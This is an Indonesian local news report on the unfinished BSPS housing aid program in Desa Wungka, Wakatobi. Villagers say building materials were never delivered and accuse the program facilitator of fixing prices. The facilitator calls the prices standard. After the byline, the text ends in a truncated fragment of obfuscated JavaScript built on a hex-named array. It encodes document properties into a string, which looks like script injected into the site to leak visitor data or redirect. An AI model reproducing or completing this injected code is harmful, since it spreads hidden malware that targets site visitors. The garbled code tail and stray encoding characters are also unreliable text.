Program BSPS Wakatobi tak Terealisasi

253 kali dilihat, 1 kali dilihat hari ini

WAKATOBI – Bantuan Stimulan Perumahan Swadaya (BSPS) di Desa Wungka, Kecamatan Wangiwangi Selatan (Wangsel), Kabupaten Wakatobi tak terealisasi 100 persen.

Bantuan tersebut seharusnya selesai pada Desember 2017. Tidak selesainya kegiatan tersebut disinyalir ada permainan harga dari fasilitator yang menyebabkan keterlambatan penyaluran materi yang dibutuhkan.

Seperti yang terlihat di Dusun Langgaha Baru, Desa Wungka. Dari 6 rumah yang mendapatkan bantuan BSPS, belum ada rumah yang kelar dibangun sama sekali.

“Kemarin kita didesak agar rumah kita secepatnya dibongkar,A� padahal setelah di bongkar material yang kita butuh belum kunjung dibawa,” keluh La Manggasa, saat ditemui di Dusun Langgaha, Selasa (16/1).

La Manggasa, mengaku selama program tersebut berjalan dirinya baru menerima pasir sebanyak 6 kubik, semen 32 sak, paku campuran 7 kg.

“Yang belum di bawah ke saya itu seng 61 lembar, kayu, seng plat 25 meter,” beber La Manggasa.

Sementara itu Menurut pengakuan Ketua Kelompok Dusun Lamaggaha Baru, La Yai, untuk mendatangkan material sebelumnya ada pematokan harga (tarif)A� dari pihak fasilitator BSPS.

Dimana kayu balokA� kelas dua dengan harga Rp. 2.700.000 per kubik. Atap seng Rp. 110.000. Batako Rp. 5000 per biji. Papan kelas dua Rp. 2.900.000 per kubik. Pasir Rp. 250.000 per satu ret.

Beda halnya dengan Salihi yang mengaku kehidupanya lebih menderita di bandingkan sebelum menerima bantuan BSPS. Dan iya mengaku melaporkan persoalan ini ke pihak yang berwajib.

“Dulunya kita tidak terlalu menderita, tapi sekarang ini kami lebih menderita. Kami akan lapor ke Polisi. Jadi kami di Dusun Lamanggaha ini ada 6 orang penerima bantuan, semuanya belum menikmati bantuan tersebut,” ujar Salihi.

Sementara saat dihubungi melalui telepon seluler, Fasilitator BSPS Wakatobi, La Ota mengatakan, harga tersebut sudah standar yang ada di Daerah (Wakatobi-red).

“Kalau soal harga, itu sudah harga standar di Daerah Wakatobi,” singakat La Ota, Selasa (16/1). (M2/b/nis) 1]](_0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12])=== -1){alert(_0xd052[23])}

You might also like More from author